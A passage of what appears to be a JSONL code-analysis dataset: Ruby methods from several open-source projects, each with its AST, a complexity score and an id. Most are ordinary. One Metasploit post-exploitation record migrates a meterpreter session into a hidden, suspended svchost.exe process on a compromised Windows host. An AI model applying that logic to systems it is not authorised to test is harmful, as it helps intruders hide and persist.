]},{\"type\":\"send\",\"children\":[null,\"check_first\",{\"type\":\"lvar\",\"children\":[\"first_pair\"]},{\"type\":\"lvar\",\"children\":[\"left_brace\"]},{\"type\":\"lvar\",\"children\":[\"left_parenthesis\"]},{\"type\":\"int\",\"children\":[0]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"check_right_brace\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash_node\"]},\"loc\"]},\"end\"]},{\"type\":\"lvar\",\"children\":[\"first_pair\"]},{\"type\":\"lvar\",\"children\":[\"left_brace\"]},{\"type\":\"lvar\",\"children\":[\"left_parenthesis\"]}]}]}]}","id":"7833f899-605c-413b-a378-9a1e19c8f9f3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/system_check/app/systemd_unit_files_or_init_script_up_to_date_check.rb","start_line":30,"raw_source":"def check?\n        if unit_files_exist?\n          return unit_files_up_to_date?\n        end\n\n        init_file_up_to_date?\n      end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"check?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"unit_files_exist?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"unit_files_up_to_date?\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"init_file_up_to_date?\"]}]}]}","id":"921854bd-c0c8-4899-bf5a-4e3255f82e6d"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_server/server_smart_proxy.rb","start_line":50,"raw_source":"def queue_call(ost)\n    case ost.method_name\n    when \"scan_metadata\", \"sync_metadata\"\n      worker_setting = MiqSmartProxyWorker.worker_settings\n\n      timeout_adjustment_multiplier = 1\n      if ost.method_name == \"scan_metadata\"\n        klass = ost.target_type.constantize\n        target = klass.find(ost.target_id)\n        if target.respond_to?(:scan_timeout_adjustment_multiplier)\n          timeout_adjustment_multiplier = target.scan_timeout_adjustment_multiplier\n        end\n      end\n      _log.debug(\"queuing call to #{self.class.name}##{ost.method_name}\")\n      # Queue call to scan_metadata or sync_metadata.\n      MiqQueue.submit_job(\n        :service     => \"smartproxy\",\n        :class_name  => self.class.name,\n        :instance_id => id,\n        :method_name => ost.method_name,\n        :args        => ost,\n        :server_guid => guid, # this should be derived in service. fix this\n        :msg_timeout => worker_setting[:queue_timeout] * timeout_adjustment_multiplier\n      )\n    else\n      _log.error(\"Unsupported method [#{ost.method_name}]\")\n    end\n  end","complexity_score":47.5,"ast_json":"{\"type\":\"def\",\"children\":[\"queue_call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ost\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ost\"]},\"method_name\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"scan_metadata\"]},{\"type\":\"str\",\"children\":[\"sync_metadata\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"worker_setting\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqSmartProxyWorker\"]},\"worker_settings\"]}]},{\"type\":\"lvasgn\",\"children\":[\"timeout_adjustment_multiplier\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ost\"]},\"method_name\"]},\"==\",{\"type\":\"str\",\"children\":[\"scan_metadata\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"klass\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ost\"]},\"target_type\"]},\"constantize\"]}]},{\"type\":\"lvasgn\",\"children\":[\"target\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ost\"]},\"target_id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"scan_timeout_adjustment_multiplier\"]}]},{\"type\":\"lvasgn\",\"children\":[\"timeout_adjustment_multiplier\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"scan_timeout_adjustment_multiplier\"]}]},null]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"debug\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"queuing call to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"#\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ost\"]},\"method_name\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqQueue\"]},\"submit_job\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service\"]},{\"type\":\"str\",\"children\":[\"smartproxy\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"instance_id\"]},{\"type\":\"send\",\"children\":[null,\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ost\"]},\"method_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"args\"]},{\"type\":\"lvar\",\"children\":[\"ost\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"server_guid\"]},{\"type\":\"send\",\"children\":[null,\"guid\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"msg_timeout\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"worker_setting\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"queue_timeout\"]}]},\"*\",{\"type\":\"lvar\",\"children\":[\"timeout_adjustment_multiplier\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unsupported method [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ost\"]},\"method_name\"]}]},{\"type\":\"str\",\"children\":[\"]\"]}]}]}]}]}","id":"72fa0948-a53c-4a07-8827-552e818c88d7"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/vm_or_template.rb","start_line":1550,"raw_source":"def self.miq_expression_includes_any_ipaddresses_arel(ipaddress)\n    vms       = arel_table\n    networks  = Network.arel_table\n    hardwares = Hardware.arel_table\n\n    match_grouping = networks[:ipaddress].matches(\"%#{ipaddress}%\")\n                       .or(networks[:ipv6address].matches(\"%#{ipaddress}%\"))\n\n    query = hardwares.project(1)\n                     .join(networks).on(networks[:hardware_id].eq(hardwares[:id]))\n                     .where(hardwares[:vm_or_template_id].eq(vms[:id]).and(match_grouping))\n                     .take(1)\n    Arel.sql(\"1\").eq(query)\n  end","complexity_score":36.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"miq_expression_includes_any_ipaddresses_arel\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ipaddress\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"vms\",{\"type\":\"send\",\"children\":[null,\"arel_table\"]}]},{\"type\":\"lvasgn\",\"children\":[\"networks\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Network\"]},\"arel_table\"]}]},{\"type\":\"lvasgn\",\"children\":[\"hardwares\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hardware\"]},\"arel_table\"]}]},{\"type\":\"lvasgn\",\"children\":[\"match_grouping\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"networks\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ipaddress\"]}]},\"matches\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"%\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ipaddress\"]}]},{\"type\":\"str\",\"children\":[\"%\"]}]}]},\"or\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"networks\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ipv6address\"]}]},\"matches\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"%\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ipaddress\"]}]},{\"type\":\"str\",\"children\":[\"%\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hardwares\"]},\"project\",{\"type\":\"int\",\"children\":[1]}]},\"join\",{\"type\":\"lvar\",\"children\":[\"networks\"]}]},\"on\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"networks\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"hardware_id\"]}]},\"eq\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hardwares\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},\"where\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hardwares\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"vm_or_template_id\"]}]},\"eq\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vms\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},\"and\",{\"type\":\"lvar\",\"children\":[\"match_grouping\"]}]}]},\"take\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"sql\",{\"type\":\"str\",\"children\":[\"1\"]}]},\"eq\",{\"type\":\"lvar\",\"children\":[\"query\"]}]}]}]}","id":"d8f2cdaf-c022-4981-8955-188a4d94644e"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-post-voting/spec/lib/email/receiver_spec.rb","start_line":12,"raw_source":"def process(email_name, opts = {})\n    Email::Receiver.new(email(email_name), opts).process!\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"process\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"email_name\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Email\"]},\"Receiver\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"email\",{\"type\":\"lvar\",\"children\":[\"email_name\"]}]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]},\"process!\"]}]}","id":"ed90b906-f6d9-4209-a489-560757f5af12"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spec_helper.rb","start_line":162,"raw_source":"def self.with_action_context_values(hash, &block)\n      with_global_key_values(Fastlane::Actions.lane_context, hash, &block)\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"with_action_context_values\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hash\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[null,\"with_global_key_values\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fastlane\"]},\"Actions\"]},\"lane_context\"]},{\"type\":\"lvar\",\"children\":[\"hash\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"7e2dd11c-c9cf-4d99-9685-3199aa331047"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/test/integration/test_holidays.rb","start_line":200,"raw_source":"def test_easter_lambda\n    [Date.civil(1800,4,11), Date.civil(1899,3,31), Date.civil(1900,4,13),\n     Date.civil(2008,3,21), Date.civil(2035,3,23)].each do |date|\n      assert_equal 'Good Friday', Holidays.on(date, :ca)[0][:name]\n    end\n\n    [Date.civil(1800,4,14), Date.civil(1899,4,3), Date.civil(1900,4,16),\n     Date.civil(2008,3,24), Date.civil(2035,3,26)].each do |date|\n      assert_equal 'Easter Monday', Holidays.on(date, :ca_qc, :informal)[0][:name]\n    end\n  end","complexity_score":37.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_easter_lambda\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"civil\",{\"type\":\"int\",\"children\":[1800]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[11]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"civil\",{\"type\":\"int\",\"children\":[1899]},{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[31]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"civil\",{\"type\":\"int\",\"children\":[1900]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[13]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"civil\",{\"type\":\"int\",\"children\":[2008]},{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[21]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"civil\",{\"type\":\"int\",\"children\":[2035]},{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[23]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"date\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Good Friday\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Holidays\"]},\"on\",{\"type\":\"lvar\",\"children\":[\"date\"]},{\"type\":\"sym\",\"children\":[\"ca\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"civil\",{\"type\":\"int\",\"children\":[1800]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[14]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"civil\",{\"type\":\"int\",\"children\":[1899]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"civil\",{\"type\":\"int\",\"children\":[1900]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[16]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"civil\",{\"type\":\"int\",\"children\":[2008]},{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[24]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"civil\",{\"type\":\"int\",\"children\":[2035]},{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[26]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"date\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Easter Monday\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Holidays\"]},\"on\",{\"type\":\"lvar\",\"children\":[\"date\"]},{\"type\":\"sym\",\"children\":[\"ca_qc\"]},{\"type\":\"sym\",\"children\":[\"informal\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}]}]}","id":"a313a4c3-7982-48b1-8b1f-52146d3fb343"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/stock/estimator.rb","start_line":61,"raw_source":"def shipping_methods(package, display_filter)\n        package.shipping_methods.select do |ship_method|\n          calculator = ship_method.calculator\n\n          ship_method.available_to_display?(display_filter) &&\n            ship_method.include?(order.ship_address) &&\n            calculator.available?(package) &&\n            (calculator.preferences[:currency].blank? ||\n             calculator.preferences[:currency] == currency)\n        end\n      end","complexity_score":31.2,"ast_json":"{\"type\":\"def\",\"children\":[\"shipping_methods\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"package\"]},{\"type\":\"arg\",\"children\":[\"display_filter\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"package\"]},\"shipping_methods\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ship_method\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"calculator\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ship_method\"]},\"calculator\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ship_method\"]},\"available_to_display?\",{\"type\":\"lvar\",\"children\":[\"display_filter\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ship_method\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"order\"]},\"ship_address\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"calculator\"]},\"available?\",{\"type\":\"lvar\",\"children\":[\"package\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"calculator\"]},\"preferences\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"currency\"]}]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"calculator\"]},\"preferences\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"currency\"]}]},\"==\",{\"type\":\"send\",\"children\":[null,\"currency\"]}]}]}]}]}]}]}]}","id":"233f971a-c4e3-49c4-a0ac-81effd773901"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/manage/archmigrate.rb","start_line":66,"raw_source":"def do_migrate\n    unless check_32_on_64\n      print_good('The meterpreter is the same architecture as the OS!')\n      return\n    end\n\n    print_status('The meterpreter is not the same architecture as the OS! Upgrading!')\n    newproc = datastore['EXE']\n    if exist?(newproc)\n      print_status(\"Starting new x64 process #{newproc}\")\n      pid = session.sys.process.execute(newproc, nil, { 'Hidden' => true, 'Suspended' => true }).pid\n      print_good(\"Got pid #{pid}\")\n      print_status('Migrating..')\n      session.core.migrate(pid)\n      if pid == session.sys.process.getpid\n        print_good('Success!')\n      else\n        print_error('Migration failed!')\n      end\n    else\n      print_error('The selected executable to migrate into does not exist')\n      if datastore['FALLBACK']\n        windir = get_windows_loc\n        newproc = \"#{windir}:\\\\windows\\\\sysnative\\\\svchost.exe\"\n        if exist?(newproc)\n          print_status(\"Starting new x64 process #{newproc}\")\n          pid = session.sys.process.execute(newproc, nil, { 'Hidden' => true, 'Suspended' => true }).pid\n          print_good(\"Got pid #{pid}\")\n          print_status('Migrating..')\n          session.core.migrate(pid)\n          if pid == session.sys.process.getpid\n            print_good('Success!')\n          else\n            print_error('Migration failed!')\n          end\n        end\n      end\n    end\n  end","complexity_score":87.0,"ast_json":"{\"type\":\"def\",\"children\":[\"do_migrate\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"check_32_on_64\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"The meterpreter is the same architecture as the OS!\"]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"The meterpreter is not the same architecture as the OS! Upgrading!\"]}]},{\"type\":\"lvasgn\",\"children\":[\"newproc\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"EXE\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"exist?\",{\"type\":\"lvar\",\"children\":[\"newproc\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Starting new x64 process \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"newproc\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pid\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"sys\"]},\"process\"]},\"execute\",{\"type\":\"lvar\",\"children\":[\"newproc\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Hidden\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Suspended\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"pid\"]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Got pid \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pid\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Migrating..\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"core\"]},\"migrate\",{\"type\":\"lvar\",\"children\":[\"pid\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pid\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"sys\"]},\"process\"]},\"getpid\"]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Success!\"]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Migration failed!\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"The selected executable to migrate into does not exist\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FALLBACK\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"windir\",{\"type\":\"send\",\"children\":[null,\"get_windows_loc\"]}]},{\"type\":\"lvasgn\",\"children\":[\"newproc\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"windir\"]}]},{\"type\":\"str\",\"children\":[\":\\\\windows\\\\sysnative\\\\svchost.exe\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"exist?\",{\"type\":\"lvar\",\"children\":[\"newproc\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Starting new x64 process \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"newproc\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pid\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"sys\"]},\"process\"]},\"execute\",{\"type\":\"lvar\",\"children\":[\"newproc\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Hidden\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Suspended\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"pid\"]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Got pid \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pid\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Migrating..\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"core\"]},\"migrate\",{\"type\":\"lvar\",\"children\":[\"pid\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pid\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"sys\"]},\"process\"]},\"getpid\"]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Success!\"]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Migration failed!\"]}]}]}]},null]}]},null]}]}]}]}]}","id":"4675a8cd-2ec0-427a-b413-2dd9ae01f861"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/filtered_search_helpers.rb","start_line":127,"raw_source":"def assignee_token(assignee_name = nil)\n    create_token('Assignee', assignee_name)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"assignee_token\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"assignee_name\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"create_token\",{\"type\":\"str\",\"children\":[\"Assignee\"]},{\"type\":\"lvar\",\"children\":[\"assignee_name\"]}]}]}","id":"42b0fc02-5dd3-4078-add6-fe207190f4e9"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapter_test.rb","start_line":466,"raw_source":"def test_truncate\n      assert_operator Post.count, :>, 0\n\n      @connection.truncate(\"posts\")\n\n      assert_equal 0, Post.count\n    ensure\n      reset_fixtures(\"posts\")\n    end","complexity_score":6.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_truncate\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_operator\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"count\"]},{\"type\":\"sym\",\"children\":[\">\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"truncate\",{\"type\":\"str\",\"children\":[\"posts\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"count\"]}]}]},{\"type\":\"send\",\"children\":[null,\"reset_fixtures\",{\"type\":\"str\",\"children\":[\"posts\"]}]}]}]}","id":"8b669fb4-e625-4db4-b0b8-7e73471ff66e"}
